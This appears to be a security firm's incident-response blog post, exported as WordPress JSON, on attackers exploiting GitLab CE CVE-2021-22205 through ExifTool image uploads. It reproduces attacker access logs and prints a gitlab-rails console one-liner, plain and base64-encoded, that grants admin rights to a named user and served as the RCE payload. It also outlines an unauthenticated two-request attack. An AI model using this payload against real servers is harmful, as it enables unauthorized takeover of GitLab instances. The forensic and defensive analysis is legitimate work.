{"id":539,"date":"2021-10-25T09:20:06","date_gmt":"2021-10-25T07:20:06","guid":{"rendered":"https:\/\/security.humanativaspa.it\/?p=539"},"modified":"2025-09-09T09:35:53","modified_gmt":"2025-09-09T09:35:53","slug":"gitlab-ce-cve-2021-22205-in-the-wild","status":"publish","type":"post","link":"https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/","title":{"rendered":"GitLab CE CVE-2021-22205 in the wild"},"content":{"rendered":"

A few months ago one of our customers found two suspicious user accounts with admin rights<\/strong> on its Internet-exposed GitLab CE server<\/strong>, and asked us to investigate what it looked like a security incident. Here’s what we found:<\/p>\n

1) Between June and July 2021, two users were registered with random-looking usernames.<\/p>\n

\"\"
Suspicious admin users<\/figcaption><\/figure>\n

This was possible because this version of GitLab CE permits user registration by default. Moreover, the email address<\/strong> specified during the registration phase isn’t verified by default<\/strong>, thus the newly created user is automatically logged on<\/strong> without any further steps. In addition, no notifications are sent to the administrators.<\/p>\n

\"\"
GitLab default sign-up restrictions<\/figcaption><\/figure>\n

2) A few days later, the attackers logged on the GitLab server as the two newly created users and apparently did not perform any other actions.<\/p>\n

So we decided to investigate how the attackers escalated their privileges to admin rights<\/strong>. Luckily, the logs were backed up so we could find the first traces of the exploitation steps within the following log files:<\/p>\n

\/var\/log\/gitlab\/nginx\/gitlab-access.log\r\n\/var\/log\/gitlab\/nginx\/access.log<\/pre>\n
The actions performed by the attackers are the following:<\/p>\n
a) User registration and login:<\/p>\n
\"GET \/users\/sign_up HTTP\/1.1\" 302 122 \"\" \"python-requests\/2.25.1\" \r\n\"GET \/users\/sign_in HTTP\/1.1\" 200 4042 \"\" \"python-requests\/2.25.1\" \r\n\"GET \/users\/sign_in HTTP\/1.1\" 200 4043 \"\" \"python-requests\/2.25.1\" \r\n\"POST \/users HTTP\/1.1\" 302 113 \"\" \"python-requests\/2.25.1\" \r\n\"GET \/dashboard\/projects HTTP\/1.1\" 200 8185 \"\" \"python-requests\/2.25.1\" \r\n\"GET \/users\/sign_in HTTP\/1.1\" 200 4043 \"\" \"python-requests\/2.25.1\" \r\n\"POST \/users\/sign_in HTTP\/1.1\" 302 95 \"\" \"python-requests\/2.25.1\" \r\n\"GET \/ HTTP\/1.1\" 200 8068 \"\" \"python-requests\/2.25.1\"<\/pre>\n
b) GitLab API abuse to list all the projects (including private projects):<\/p>\n
\"GET \/api\/v4\/projects\/?simple=yes&private=true&per_page=1000&page=1 HTTP\/1.1\" 200 2760 \"\" \"python-requests\/2.25.1\"<\/pre>\n
c) Open an issue for the first project in the list, then upload an attachment to this issue:<\/p>\n
\"GET \/user\/project HTTP\/1.1\" 200 13567 \"\" \"python-requests\/2.25.1\" \r\n\"GET \/user\/project\/issues\/new HTTP\/1.1\" 200 10317 \"\" \"python-requests\/2.25.1\" \r\n\"POST \/user\/project\/uploads HTTP\/1.1\" 422 24 \"https:\/\/git.victim\/user\/project\/issues\/new\" \"python-requests\/2.25.1\"<\/pre>\n
That’s it, no other actions were taken by the attackers.<\/p>\n
The attachment upload caught our attention<\/strong>, so we set up a GitLab server in our lab in an attempt to replicate what we saw in the wild. Meanwhile, we noticed that a recently released exploit for CVE-2021-22205<\/a> abuses the upload functionality in order to remotely execute arbitrary OS commands. The vulnerability resides in ExifTool<\/strong>, an open source tool used to remove metadata from images, which fails in parsing certain metadata embedded in the uploaded image, resulting in code execution as described here<\/a>.<\/p>\n
GitLab is composed of many components (Redis, Nginx, etc.). The one that handles uploads is called gitlab-workhorse<\/strong>, which in turn calls ExifTool before passing the final attachment to Rails as shown below:<\/p>\n
\"\"
Upload sequence diagram<\/figcaption><\/figure>\n
So we dug into the logs a little deeper and we found evidences of two failed uploads within the Workhorse logs<\/strong>. We then ran the publicly available exploit against our lab server and noticed very similar patterns in our logs.<\/p>\n
{\"correlation_id\":\"cp1VzPnRzE4\",\"filename\":\"exploit.jpg\",\"level\":\"info\",\"msg\":\"running exiftool to remove any metadata\",\"time\":\"2021-09-20T10:30:04+02:00\"}\r\n{\"command\":[\"exiftool\",\"-all=\",\"--IPTC:all\",\"--XMP-iptcExt:all\",\"-tagsFromFile\",\"@\",\"-ResolutionUnit\",\"-XResolution\",\"-YResolution\",\"-YCbCrSubSampling\",\"-YCbCrPositioning\",\"-BitsPerSample\",\"-ImageHeight\",\"-ImageWidth\",\"-ImageSize\",\"-Copyright\",\"-CopyrightNotice\",\"-Orientation\",\"-\"],\"correlation_id\":\"cp1VzPnRzE4\",\"error\":\"exit status 1\",\"level\":\"info\",\"msg\":\"exiftool command failed\",\"stderr\":\"Error: Writing of this type of file is not supported - -\\n\",\"time\":\"2021-09-20T10:30:24+02:00\"}\r\n{\"correlation_id\":\"cp1VzPnRzE4\",\"error\":\"error while removing EXIF\",\"level\":\"error\",\"method\":\"POST\",\"msg\":\"error\",\"time\":\"2021-09-20T10:30:24+02:00\",\"uri\":\"\/uploads\/user\"}<\/pre>\n
Unfortunately, ExifTools fail to save the uploaded image so we couldn’t easily identify the actually executed payload<\/strong>.<\/p>\n
The payload used by the public exploit can execute a reverse shell, whereas the one used against our customer simply escalated the rights of the two previously registered users to admin. What kind of payload could the attackers have used? After reading a bit of GitLab documentation we came up with the following one-liner that can be used to manipulate user profiles (including rights) from the command line:<\/p>\n
echo 'user = User.find_by(username: \"czxvcxbxcvbnvcxvbxv\");user.admin=\"true\";user.save!' | gitlab-rails console\r\n\r\n\/usr\/bin\/echo dXNlciA9IFVzZXIuZmluZF9ieSh1c2VybmFtZTogImN6eHZjeGJ4Y3ZibnZjeHZieHYiKTt1c2VyLmFkbWluPSJ0cnVlIjt1c2VyLnNhdmUh | base64 -d | \/usr\/bin\/gitlab-rails console<\/pre>\n
We used the above command as a payload for the publicly available exploit and we successfully obtained admin privs for the two users we previously created.<\/p>\n
What appeared to be a privilege escalation vulnerability turned out to be an RCE vulnerability.<\/strong><\/p>\n
Now some interesting aspects we discovered while performing this incident analysis. It appears that we can boil down the whole exploiting process to just two requests: on a default GitLab installation (up until version 13.10.2) there’s no need to abuse the API to find a valid project, no need to open an issue, and most importantly no need to authenticate<\/strong>, as shown in the following screenshots:<\/p>\n
\"\"
First request to get the “csrf-token” \/ “authenticity-token”<\/figcaption><\/figure>\n
\"\"
Second request to perform the unauthenticated malicious upload<\/figcaption><\/figure>\n
All the vulnerabilities described in this post (ExifTool, API abuse, User registration, etc.) are not present in the latest GitLab CE version (14.4.0 at the time of this writing).<\/p>\n","protected":false},"excerpt":{"rendered":"
A few months ago one of our customers found two suspicious user accounts with admin rights on its Internet-exposed GitLab […]<\/p>\n","protected":false},"author":5,"featured_media":159915,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[78,81,91],"tags":[77,101,102,103],"class_list":["post-539","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-exploits","category-vulnerabilities","category-articles","tag-exploit","tag-cve-2021-22205","tag-gitlab","tag-incident-response"],"acf":[],"yoast_head":"\nHN Security - GitLab CE CVE-2021-22205 in the wild -<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/\" \/>\n<meta property=\"og:locale\" content=\"it_IT\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"HN Security - GitLab CE CVE-2021-22205 in the wild -\" \/>\n<meta property=\"og:description\" content=\"A few months ago one of our customers found two suspicious user accounts with admin rights on its Internet-exposed GitLab […]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/\" \/>\n<meta property=\"og:site_name\" content=\"HN Security\" \/>\n<meta property=\"article:published_time\" content=\"2021-10-25T07:20:06+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-09-09T09:35:53+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/GITLAB.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1600\" \/>\n\t<meta property=\"og:image:height\" content=\"836\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Piergiovanni Cipolloni\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@hnsec\" \/>\n<meta name=\"twitter:site\" content=\"@hnsec\" \/>\n<meta name=\"twitter:label1\" content=\"Scritto da\" \/>\n\t<meta name=\"twitter:data1\" content=\"Piergiovanni Cipolloni\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tempo di lettura stimato\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minuti\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/gitlab-ce-cve-2021-22205-in-the-wild\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/gitlab-ce-cve-2021-22205-in-the-wild\\\/\"},\"author\":{\"name\":\"Piergiovanni Cipolloni\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#\\\/schema\\\/person\\\/66375aa4f81d2c08ed543cc2f9f52f0c\"},\"headline\":\"GitLab CE CVE-2021-22205 in the wild\",\"datePublished\":\"2021-10-25T07:20:06+00:00\",\"dateModified\":\"2025-09-09T09:35:53+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/gitlab-ce-cve-2021-22205-in-the-wild\\\/\"},\"wordCount\":659,\"publisher\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/gitlab-ce-cve-2021-22205-in-the-wild\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2025\\\/09\\\/GITLAB.jpg\",\"keywords\":[\"exploit\",\"cve-2021-22205\",\"gitlab\",\"incident response\"],\"articleSection\":[\"Exploits\",\"Vulnerabilities\",\"Articles\"],\"inLanguage\":\"it-IT\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/gitlab-ce-cve-2021-22205-in-the-wild\\\/\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/gitlab-ce-cve-2021-22205-in-the-wild\\\/\",\"name\":\"HN Security - GitLab CE CVE-2021-22205 in the wild -\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/gitlab-ce-cve-2021-22205-in-the-wild\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/gitlab-ce-cve-2021-22205-in-the-wild\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2025\\\/09\\\/GITLAB.jpg\",\"datePublished\":\"2021-10-25T07:20:06+00:00\",\"dateModified\":\"2025-09-09T09:35:53+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/gitlab-ce-cve-2021-22205-in-the-wild\\\/#breadcrumb\"},\"inLanguage\":\"it-IT\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/gitlab-ce-cve-2021-22205-in-the-wild\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/gitlab-ce-cve-2021-22205-in-the-wild\\\/#primaryimage\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2025\\\/09\\\/GITLAB.jpg\",\"contentUrl\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2025\\\/09\\\/GITLAB.jpg\",\"width\":1600,\"height\":836,\"caption\":\"GitLab logo\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/gitlab-ce-cve-2021-22205-in-the-wild\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"GitLab CE CVE-2021-22205 in the wild\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#website\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/\",\"name\":\"HN Security\",\"description\":\"Offensive Security Specialists\",\"publisher\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"it-IT\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#organization\",\"name\":\"HN Security\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2026\\\/01\\\/hn-libellula.jpg\",\"contentUrl\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2026\\\/01\\\/hn-libellula.jpg\",\"width\":696,\"height\":696,\"caption\":\"HN Security\"},\"image\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/x.com\\\/hnsec\",\"https:\\\/\\\/www.linkedin.com\\\/company\\\/hnsecurity\\\/\",\"https:\\\/\\\/github.com\\\/hnsecurity\",\"https:\\\/\\\/infosec.exchange\\\/@hnsec\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#\\\/schema\\\/person\\\/66375aa4f81d2c08ed543cc2f9f52f0c\",\"name\":\"Piergiovanni Cipolloni\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/453f5e2867f1519ce59622a77ab07c410f32d8c96be6823d96a0034f08eacd53?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/453f5e2867f1519ce59622a77ab07c410f32d8c96be6823d96a0034f08eacd53?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/453f5e2867f1519ce59622a77ab07c410f32d8c96be6823d96a0034f08eacd53?s=96&d=mm&r=g\",\"caption\":\"Piergiovanni Cipolloni\"},\"url\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/author\\\/piergiovanni-cipolloni\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"HN Security - GitLab CE CVE-2021-22205 in the wild -","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/","og_locale":"it_IT","og_type":"article","og_title":"HN Security - GitLab CE CVE-2021-22205 in the wild -","og_description":"A few months ago one of our customers found two suspicious user accounts with admin rights on its Internet-exposed GitLab […]","og_url":"https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/","og_site_name":"HN Security","article_published_time":"2021-10-25T07:20:06+00:00","article_modified_time":"2025-09-09T09:35:53+00:00","og_image":[{"width":1600,"height":836,"url":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/GITLAB.jpg","type":"image\/jpeg"}],"author":"Piergiovanni Cipolloni","twitter_card":"summary_large_image","twitter_creator":"@hnsec","twitter_site":"@hnsec","twitter_misc":{"Scritto da":"Piergiovanni Cipolloni","Tempo di lettura stimato":"5 minuti"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/#article","isPartOf":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/"},"author":{"name":"Piergiovanni Cipolloni","@id":"https:\/\/hnsecurity.it\/it\/#\/schema\/person\/66375aa4f81d2c08ed543cc2f9f52f0c"},"headline":"GitLab CE CVE-2021-22205 in the wild","datePublished":"2021-10-25T07:20:06+00:00","dateModified":"2025-09-09T09:35:53+00:00","mainEntityOfPage":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/"},"wordCount":659,"publisher":{"@id":"https:\/\/hnsecurity.it\/it\/#organization"},"image":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/#primaryimage"},"thumbnailUrl":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/GITLAB.jpg","keywords":["exploit","cve-2021-22205","gitlab","incident response"],"articleSection":["Exploits","Vulnerabilities","Articles"],"inLanguage":"it-IT"},{"@type":"WebPage","@id":"https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/","url":"https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/","name":"HN Security - GitLab CE CVE-2021-22205 in the wild -","isPartOf":{"@id":"https:\/\/hnsecurity.it\/it\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/#primaryimage"},"image":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/#primaryimage"},"thumbnailUrl":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/GITLAB.jpg","datePublished":"2021-10-25T07:20:06+00:00","dateModified":"2025-09-09T09:35:53+00:00","breadcrumb":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/#breadcrumb"},"inLanguage":"it-IT","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/"]}]},{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/#primaryimage","url":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/GITLAB.jpg","contentUrl":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/GITLAB.jpg","width":1600,"height":836,"caption":"GitLab logo"},{"@type":"BreadcrumbList","@id":"https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/hnsecurity.it\/it\/"},{"@type":"ListItem","position":2,"name":"GitLab CE CVE-2021-22205 in the wild"}]},{"@type":"WebSite","@id":"https:\/\/hnsecurity.it\/it\/#website","url":"https:\/\/hnsecurity.it\/it\/","name":"HN Security","description":"Offensive Security Specialists","publisher":{"@id":"https:\/\/hnsecurity.it\/it\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hnsecurity.it\/it\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"it-IT"},{"@type":"Organization","@id":"https:\/\/hnsecurity.it\/it\/#organization","name":"HN Security","url":"https:\/\/hnsecurity.it\/it\/","logo":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/hnsecurity.it\/it\/#\/schema\/logo\/image\/","url":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2026\/01\/hn-libellula.jpg","contentUrl":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2026\/01\/hn-libellula.jpg","width":696,"height":696,"caption":"HN Security"},"image":{"@id":"https:\/\/hnsecurity.it\/it\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/x.com\/hnsec","https:\/\/www.linkedin.com\/company\/hnsecurity\/","https:\/\/github.com\/hnsecurity","https:\/\/infosec.exchange\/@hnsec"]},{"@type":"Person","@id":"https:\/\/hnsecurity.it\/it\/#\/schema\/person\/66375aa4f81d2c08ed543cc2f9f52f0c","name":"Piergiovanni Cipolloni","image":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/secure.gravatar.com\/avatar\/453f5e2867f1519ce59622a77ab07c410f32d8c96be6823d96a0034f08eacd53?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/453f5e2867f1519ce59622a77ab07c410f32d8c96be6823d96a0034f08eacd53?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/453f5e2867f1519ce59622a77ab07c410f32d8c96be6823d96a0034f08eacd53?s=96&d=mm&r=g","caption":"Piergiovanni Cipolloni"},"url":"https:\/\/hnsecurity.it\/it\/blog\/author\/piergiovanni-cipolloni\/"}]}},"jetpack_featured_media_url":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/GITLAB.jpg","_links":{"self":[{"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/posts\/539","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/comments?post=539"}],"version-history":[{"count":1,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/posts\/539\/revisions"}],"predecessor-version":[{"id":159979,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/posts\/539\/revisions\/159979"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/media\/159915"}],"wp:attachment":[{"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/media?parent=539"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/categories?post=539"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/tags?post=539"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}